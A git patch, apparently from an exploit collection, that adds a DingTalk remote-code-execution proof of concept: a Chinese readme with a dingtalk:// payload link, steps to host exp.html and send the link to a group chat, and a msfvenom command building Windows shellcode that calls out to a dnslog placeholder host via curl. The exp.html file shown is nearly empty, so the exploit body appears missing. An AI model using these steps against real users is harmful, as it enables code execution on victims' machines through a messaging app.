From 6ba9a02edd538dcce36b788381f681796e9fcf70 Mon Sep 17 00:00:00 2001
From: helloexp <21156949+helloexp@users.noreply.github.com>
Date: Thu, 17 Feb 2022 13:36:34 +0800
Subject: [PATCH] dingtalk rce
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
添加钉钉RCE poc、exp
---
17-钉钉/exp.html | 10 ++++++++++
17-钉钉/readme.md | 12 ++++++++++++
2 files changed, 22 insertions(+)
create mode 100644 17-钉钉/exp.html
create mode 100644 17-钉钉/readme.md
diff --git a/17-钉钉/exp.html b/17-钉钉/exp.html
new file mode 100644
index 0000000..880768b
--- /dev/null
+++ b/17-钉钉/exp.html
@@ -0,0 +1,10 @@
+
+
+
+ test
+
+
+
+
\ No newline at end of file
diff --git a/17-钉钉/readme.md b/17-钉钉/readme.md
new file mode 100644
index 0000000..1e06af8
--- /dev/null
+++ b/17-钉钉/readme.md
@@ -0,0 +1,12 @@
+# 钉钉RCE 漏洞
+
+> payload `dingtalk://dingtalkclient/page/link?url=127.0.0.1/exp.html&pc_slide=true`
+## 利用方式
+1. 启动web 服务`python -m http.server 80`
+2. 发送payload 到钉钉聊天群组中（个人聊天不能触发）
+
+## 其中shellcode 可以通过msfvenom定制
+
+ `msfvenom -a x86 –platform windows -p windows/exec cmd="curl xxx.dnslog.cn" -e x86/alpha_mixed -f csharp`
+
+ 将上面生成的内容调换到 exp.html 文件中的 `var shellcode=new Uint8Array([.....])`
\ No newline at end of file